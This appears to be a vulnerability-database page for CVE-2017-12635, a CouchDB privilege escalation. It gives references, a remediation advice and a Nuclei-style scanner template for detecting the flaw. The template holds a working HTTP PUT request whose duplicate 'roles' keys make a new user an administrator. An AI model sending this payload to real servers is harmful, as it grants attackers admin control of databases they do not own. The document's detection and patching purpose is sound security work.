| Reporter | Title | Published | Views | Family All 69 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 16 May 202116:14 | – | gitee | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 27 Apr 202114:33 | – | gitee | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 22 Oct 202115:45 | – | gitee | |
| Apache CouchDB Remote Code Execution Vulnerability | 30 Nov 201700:00 | – | zdt | |
| Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Exploit | 23 Apr 201800:00 | – | zdt | |
| Apache CouchDB < 2.1.0 - Remote Code Execution Exploit | 20 Jun 201800:00 | – | zdt | |
| Apache #CouchDB Arbitrary Command Execution Exploit | 13 Jul 201800:00 | – | zdt | |
| couchdb -- multiple vulnerabilities | 14 Nov 201700:00 | – | freebsd | |
| Exploit for Improper Privilege Management in Apache Couchdb | 29 May 202619:32 | – | githubexploit | |
| [ASA-201711-24] couchdb: multiple issues | 16 Nov 201700:00 | – | archlinux |
id: CVE-2017-12635
info:
name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
author: pikpikcu
severity: critical
description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two 'roles' keys are available in the JSON, the second one will be used for authorizing the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
impact: |
Remote attackers can exploit this vulnerability to escalate privileges.
remediation: |
Upgrade Apache CouchDB to version 2.1.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-12635
- https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E
- https://security.gentoo.org/glsa/201711-16
- https://lists.debian.org/debian-lts-announce/2018/01/msg00026.html
- https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03935en_us
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-12635
cwe-id: CWE-269
epss-score: 0.99924
epss-percentile: 0.99966
cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: couchdb
shodan-query:
- product:"couchdb"
- cpe:"cpe:2.3:a:apache:couchdb"
tags: cve2017,cve,couchdb,apache,intrusive,vkev,vuln
http:
- raw:
- |
PUT /_users/org.couchdb.user:poc HTTP/1.1
Host: {{Hostname}}
Accept: application/json
{
"type": "user",
"name": "poc",
"roles": ["_admin"],
"roles": [],
"password": "123456"
}
matchers-condition: and
matchers:
- type: word
part: header
words:
- application/json
- "Location:"
- type: word
part: body
words:
- org.couchdb.user:poc
- conflict
- Document update conflict
- type: status
status:
- 201
- 409
# digest: 4a0a00473045022100f3bae702c3ee65fd9e58f6d9c227b36f6d0d47b8a958ffa93ce4e7d7b2c4744f02201ba307df81e6c405c7f09a8e7938888f0fb78401e207389142ac4b569dc5c2ce:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation